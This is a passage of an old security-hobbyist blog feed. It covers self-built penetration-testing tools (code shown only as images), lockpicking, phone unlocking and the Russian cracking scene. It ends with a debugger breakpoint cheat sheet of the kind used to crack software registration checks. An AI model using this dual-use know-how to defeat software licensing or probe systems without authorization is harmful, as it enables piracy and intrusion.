highly unlikely that we will see criminals disrupt key critical infrastructure that supports criminal activity.&lt;br /&gt;&lt;br /&gt;Peter Neuman (the RISKS)  guy...talked at a USENIX con long ago that while the greater efficeincy of networking technologies  have intrinsic benefits, the ability to use infrastructure against itself becomes just as powerful.&lt;br /&gt;&lt;br /&gt;But heck...I enjoy my time in the 212 world of increasing online efficiencies...then go home to spend time with family and attempt to forget some of the greatest threats we face in the new year.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3504482525752466011?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3504482525752466011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3504482525752466011' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3504482525752466011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3504482525752466011'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/01/irc-corporate-nets-and-undergound.html' title='IRC, corporate nets and the undergound economy'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-3981434531292226765</id><published>2007-01-04T08:56:00.000-05:00</published><updated>2007-01-04T09:08:07.122-05:00</updated><title type='text'>ketamine</title><content type='html'>So this is my version of &lt;a href="http://sqlninja.sourceforge.net"&gt;sql ninja&lt;/a&gt;.  In fact, I'd stop  right now and  just download that....don't even mess with this program unless you like python.   I've tried to stop writing perl in spite of myself.  Maybe I'll do a HDM and go to ruby or something.   At least it does not have the horrible indentation syntax of python.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_0rmHZ5EqPRo/RZ0IEZLsy4I/AAAAAAAAAA8/2qDxTa7xYYE/s1600-h/ketamine.bmp"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_0rmHZ5EqPRo/RZ0IEZLsy4I/AAAAAAAAAA8/2qDxTa7xYYE/s400/ketamine.bmp" alt="" id="BLOGGER_PHOTO_ID_5016174431533058946" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-3981434531292226765?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/3981434531292226765/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=3981434531292226765' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3981434531292226765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/3981434531292226765'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/01/ketamine.html' title='ketamine'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_0rmHZ5EqPRo/RZ0IEZLsy4I/AAAAAAAAAA8/2qDxTa7xYYE/s72-c/ketamine.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-7987898766834057135</id><published>2007-01-03T13:37:00.000-05:00</published><updated>2007-01-03T13:47:42.511-05:00</updated><title type='text'>site_slither</title><content type='html'>Here is the clone of sitedigger version 1.   I think the  query string  csv format has changed to  xml.   Either way I'll post the format of all the input files soon.   Again this is posted as a bmp...this time because the darn cut and paste does not render things so good.   I'm getting the distinct impression that blogging does not generally include posting code. &lt;br /&gt;&lt;br /&gt;sigh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_0rmHZ5EqPRo/RZv6NpLsy3I/AAAAAAAAAAs/YsehGdeYlYQ/s1600-h/site_slither.bmp"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_0rmHZ5EqPRo/RZv6NpLsy3I/AAAAAAAAAAs/YsehGdeYlYQ/s400/site_slither.bmp" alt="" id="BLOGGER_PHOTO_ID_5015877722307349362" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-7987898766834057135?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/7987898766834057135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=7987898766834057135' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7987898766834057135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/7987898766834057135'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/01/siteslither.html' title='site_slither'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_0rmHZ5EqPRo/RZv6NpLsy3I/AAAAAAAAAAs/YsehGdeYlYQ/s72-c/site_slither.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-4492062937599940949</id><published>2007-01-03T10:42:00.000-05:00</published><updated>2007-01-03T10:55:02.397-05:00</updated><title type='text'>mr_rodgers</title><content type='html'>I'm having trouble posting the core mr_rodgers script.  It's because of the xml stuff in it.   I've tried&lt;span style="font-family:monospace;"&gt; &lt;/span&gt;and ....no luck.   i know it's weird but I've posted it as a bmp thanks to &lt;a href="http://www.irfanveiw.com/"&gt;irfanview.&lt;/a&gt;&lt;span style="font-family:monospace;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;mr_rodgers is the beginning of a small program enumerate the citrix program neighborhood, run through all the api calls in wpnbr.dll and start the process of fuzzing the xml service.&lt;br /&gt;&lt;br /&gt;If you don't want to retype the code I'll send it to you or try to post it somewhere.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_0rmHZ5EqPRo/RZvRhpLsy1I/AAAAAAAAAAU/v0RBMR-KNr4/s1600-h/mr_rodgers.bmp"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_0rmHZ5EqPRo/RZvRhpLsy1I/AAAAAAAAAAU/v0RBMR-KNr4/s400/mr_rodgers.bmp" alt="" id="BLOGGER_PHOTO_ID_5015832985927994194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-4492062937599940949?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/4492062937599940949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=4492062937599940949' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4492062937599940949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/4492062937599940949'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2007/01/mrrodgers_03.html' title='mr_rodgers'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_0rmHZ5EqPRo/RZvRhpLsy1I/AAAAAAAAAAU/v0RBMR-KNr4/s72-c/mr_rodgers.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-5239817510141072565</id><published>2006-12-29T21:39:00.000-05:00</published><updated>2006-12-29T21:46:22.080-05:00</updated><title type='text'>penetration testing projects for 2006</title><content type='html'>I have been working on several pen testing projects over the last few months.  Almost done.&lt;br /&gt;&lt;br /&gt;The most recent is mr_rodgers.   It's a citrix program neighborhood enumerator.  Nothing big, but removes the need for installation of the entire citrix suite of programs to  perform some simple recon.  Additionally changes in exposed services over time can be tracked through the use of this tool and potentially sensitive information can be obtained.&lt;br /&gt;&lt;br /&gt;Next was a tool created to fill some gaps in the functionality of the excellent sql ninja program.   things like session management and support for proxies. &lt;br /&gt;&lt;br /&gt;And finally...or rather a long time ago I created a python version of site digger that does not need use the google api.&lt;br /&gt;&lt;br /&gt;I'll post the source to all these very soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-5239817510141072565?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/5239817510141072565/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=5239817510141072565' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5239817510141072565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/5239817510141072565'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2006/12/penetration-testing-projects-for-2006.html' title='penetration testing projects for 2006'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-116731752760067009</id><published>2006-12-28T09:52:00.000-05:00</published><updated>2006-12-28T13:30:30.390-05:00</updated><title type='text'>nokia N72</title><content type='html'>So I got an N72.  Very cool phone, 2nd gen s60 platform.   I've been using a moto L6 for the past 6 months and an old 7290 blackberry for data.  I forgot how much I like the symbian platform. &lt;br /&gt;&lt;br /&gt;The most interesting thing I'm finding since I stopped using my 3650 and n-gage a few years ago is the total lack of cypherpunk grade crypto for the platform.  Sure Pointsec and Safeboot have the backdoored crypto for corporate use, but for the "open" platform that s60 is supposed to be, the lack of good crypto is painfully obvious.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-116731752760067009?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/116731752760067009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=116731752760067009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/116731752760067009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/116731752760067009'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2006/12/nokia-n72.html' title='nokia N72'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-116727543070024145</id><published>2006-12-27T21:59:00.000-05:00</published><updated>2006-12-27T22:10:30.716-05:00</updated><title type='text'>sysrec is back</title><content type='html'>After slightly more than 1 year, sysrec is back.  I've continued the reconfig efforts, albeit in a more personal fashion.   &lt;br /&gt;&lt;br /&gt;Technology has changed as well as some internal perspectives.   In some respects I spent 2006 weighing the benefits of public disclosure with that of personal privacy.  You might have guessed by this point that I'm leaning toward pubic disclosure of cracks in the matrix, where to find them and how to use them to manage the onslaught of dis-information we are confronted with each day.&lt;br /&gt;&lt;br /&gt;The primary driving force behind this new perspective is to connect with others of like thinking and to help in the global dissemination of useful information.&lt;br /&gt;&lt;br /&gt;In the face of those lofty goals I don't claim to be an expert in anything and will continually remind others to take any information disseminated by sysrec as false until proven true. &lt;br /&gt;&lt;br /&gt;It's good to be back.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-116727543070024145?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/116727543070024145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=116727543070024145' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/116727543070024145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/116727543070024145'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2006/12/sysrec-is-back.html' title='sysrec is back'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-113519688912375399</id><published>2005-12-21T15:22:00.000-05:00</published><updated>2007-01-17T22:15:21.827-05:00</updated><title type='text'>dot-ru revolution, part ii</title><content type='html'>I've been trying to get consensus on two separate scenes over the past 6 months.  The russians have the post cold war underground to retreat to while the chinese have loosened the reigns just enough to encourage a generation of cracking experts.&lt;br /&gt;&lt;br /&gt;Who is better at cracking apps?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-113519688912375399?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/113519688912375399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=113519688912375399' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/113519688912375399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/113519688912375399'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/12/dot-ru-revolution-part-ii.html' title='dot-ru revolution, part ii'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-113323352976601798</id><published>2005-11-28T21:51:00.000-05:00</published><updated>2005-11-28T22:05:29.783-05:00</updated><title type='text'>dot-ru revolution, part i</title><content type='html'>I've mentioned about the russian connection to software reversing. If its not clear why the *.ru world is an epicenter for this activity, consider that they have an abundance of smart, unemployed or under employed tech workers, the economy sucks, and since the 40's there has been a well established underground.&lt;br /&gt;&lt;br /&gt;This by no means is justification for the activities, but more of a rationalization for the pretty leet reversing scene in that region.&lt;br /&gt;&lt;br /&gt;The other interesting phenomenon that the russians have perfected is peer to peer banking. Add anonymity to this and we have a frightening picture for the people that brought us ECHELON. Paypal meets Kazaa. Underground funds transfer has been happening for years, no regulation, no accountability, no paper trail. For better or worse the primary way to track international crime is to follow the money.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-113323352976601798?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/113323352976601798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=113323352976601798' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/113323352976601798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/113323352976601798'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/11/dot-ru-revolution-part-i.html' title='dot-ru revolution, part i'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-113224053646305888</id><published>2005-11-16T21:44:00.000-05:00</published><updated>2005-11-17T10:15:36.486-05:00</updated><title type='text'>podcasts and h/p and the dot-ru connection</title><content type='html'>There is some interesting content archived and being archived in mp3 format regarding the h/p scene. For example binrev.com has some great content for the price...free. And in particular stromcarlson has done some great work documenting modern phone network sounds. I've used to the yearly release of blackhat/defcon mp3s on the respective sites, but now we have HOPE, phreakNIC and all sorts of other cons encoding to audio.&lt;br /&gt;&lt;br /&gt;Over the last few months I've been looking at more and more russian hacking sites. I've always been a visitor to well known sites like cr@cklab, r3team and web-hack. But more and more are showing up with good content. The problem is that a large number of these sites are blatantly associated with criminal activity. Ethics aside the sites have some relevant content to legitimate reversing and basic knowledge of the ru scene.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-113224053646305888?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/113224053646305888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=113224053646305888' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/113224053646305888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/113224053646305888'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/11/podcasts-and-hp-and-dot-ru-connection.html' title='podcasts and h/p and the dot-ru connection'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112588533566627876</id><published>2005-09-04T21:37:00.000-04:00</published><updated>2005-09-04T21:55:35.670-04:00</updated><title type='text'>212 locksmiths and ebay</title><content type='html'>I have to give credit to an unnamed downtown 212 locksmith. Smart guy...although they seem to take a dim view of lockpicking as a sport. So I ask they guy what a basic medeco mortise cylinder costs. About $80-100 US dollars. Nice...except I don't have that kind of money to throw down on a high security lock that I'm planning on cutting in half to understand better. No amount of illustrations or lockpicking101.com forum posts can replace the kinesthetic experience of dissecting a lock for fun.&lt;br /&gt;&lt;br /&gt;But he goes on to say, "Sure....get a good lock, but spend your money on a strong door frame". That was good to hear from someone that does not sell doors and could have enticed me into buying the medeco.&lt;br /&gt;&lt;br /&gt;So now I'm off to ebay...just like the nice people from dc719 told me. I love it. High security locks that cost more to ship than to buy. I'm talking schlage everest cylinders for $5 bucks a crack. ASSA cores for $10 each. I'm hooked.&lt;br /&gt;&lt;br /&gt;I like to kill the checkpin on the everest and start with 5 pins. Matt Blaze says it's legit so I'm down with it. Makes it easier to practice on long flights without having to jam yet another thing into the keyhole to defeat the checkpin. Less than 5 minutes tells me I better put the 6th pin back in. Takes a little longer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112588533566627876?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112588533566627876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112588533566627876' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112588533566627876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112588533566627876'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/09/212-locksmiths-and-ebay.html' title='212 locksmiths and ebay'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112430053687132901</id><published>2005-08-17T18:30:00.000-04:00</published><updated>2005-08-17T13:42:16.876-04:00</updated><title type='text'>The 212 playground</title><content type='html'>I found an interesting place to stay for a night or 2 in midtown NY. Google the hudson hotel...It's kind of tokyo meets college dorm living. I've never slept better in the city. After seeing the size of the small rooms, I had some concerns with the advice given to stay there. Everything was in perfect balance though. Wireless net access and the high level of customer service really set this place apart. It is set in a nice neighborhood with lots of good places to eat.&lt;br /&gt;&lt;br /&gt;I think I'll try again next time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112430053687132901?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112430053687132901/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112430053687132901' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112430053687132901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112430053687132901'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/08/212-playground.html' title='The 212 playground'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112381308495046295</id><published>2005-08-11T22:06:00.000-04:00</published><updated>2005-08-17T13:43:05.486-04:00</updated><title type='text'>Unlocking gsm devices</title><content type='html'>Back on the topic of nokia and GSM phones in general. Most people would expect that the phone they own will work on any GSM network. That is actually not the case. All providers lock the phones to their specific network so, even though you own the phone, you can't switch services easily by purchasing a new sim card. Additionally it prevents the use of prepaid regional sims favored by international travelers.&lt;br /&gt;&lt;br /&gt;I'll help unlock phones for free. Google around and see that most sites charge for unlocking. You can download the software for free and mess up your phone if not careful.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112381308495046295?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112381308495046295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112381308495046295' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112381308495046295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112381308495046295'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/08/unlocking-gsm-devices.html' title='Unlocking gsm devices'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112364274797801761</id><published>2005-08-09T22:40:00.000-04:00</published><updated>2005-08-09T22:59:07.983-04:00</updated><title type='text'>darknets and the legacy barcode thing</title><content type='html'>I finally got around to setting up a tor node.  I think its a good idea to support that sort of thing in any way possible.  I also found and interesting tor java client hidden in JAP.  &lt;br /&gt;&lt;br /&gt;There I was reading the last of what was a great hacktivismo undertaking...peek-a-booty.   And sure enough there was a link to a current (albeit unaffiliated) project called java anonymous proxy.   After configing it for 90 or 120 seconds I noticed a tor tab and socks config.  Way cool&lt;br /&gt;&lt;br /&gt;I've had a pristine cuecat laying around in it's orginal packaging ...for 4 years.   The other day I turned it into a  barcode reader.   That was fun...I'm just not sure what to do with it now.  I've started scanning any barcodes I can find.  I feel like I should be really getting more efficient at something now that I have a free barcode scanner.  I'm throwing it back in the closet for another few years.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14930118-112364274797801761?l=sysrec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sysrec.blogspot.com/feeds/112364274797801761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14930118&amp;postID=112364274797801761' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112364274797801761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14930118/posts/default/112364274797801761'/><link rel='alternate' type='text/html' href='http://sysrec.blogspot.com/2005/08/darknets-and-legacy-barcode-thing.html' title='darknets and the legacy barcode thing'/><author><name>sysrec</name><uri>http://www.blogger.com/profile/09595041672601638504</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://3.bp.blogspot.com/_0rmHZ5EqPRo/SUm-_KPrRcI/AAAAAAAAAD0/4j1aKuxqNQo/S220/n1458816763_30032048_9108.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14930118.post-112318560667755092</id><published>2005-08-04T16:38:00.000-04:00</published><updated>2005-08-04T16:00:06.683-04:00</updated><title type='text'>Pushing to the stack</title><content type='html'>This is also a spot for reference things I occasionally forget that others might find useful.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:proc&lt;br /&gt;:addr proc_name/#&lt;br /&gt;:s 0:0 l -1 "string"&lt;br /&gt;:map32 proc_name&lt;br /&gt;:heap 32 proc_name&lt;br /&gt;:d eax/edx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;win32 bpmg's&lt;br /&gt;--------------&lt;br /&gt;WM_GETTEXT&lt;br /&gt;&lt;br /&gt;win32 bpx's&lt;br /&gt;-----------------&lt;br /&gt;&lt;font size="2"&gt;GetWindowTextA&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;GetDlgItemTextA&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;RegCreateKeyA&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;RegQueryValueA&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;MessageBoxA&lt;/font&gt;&lt;span style="font-family: monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;font size="2"&gt;MessageBoxExA &lt;span style="font-family: 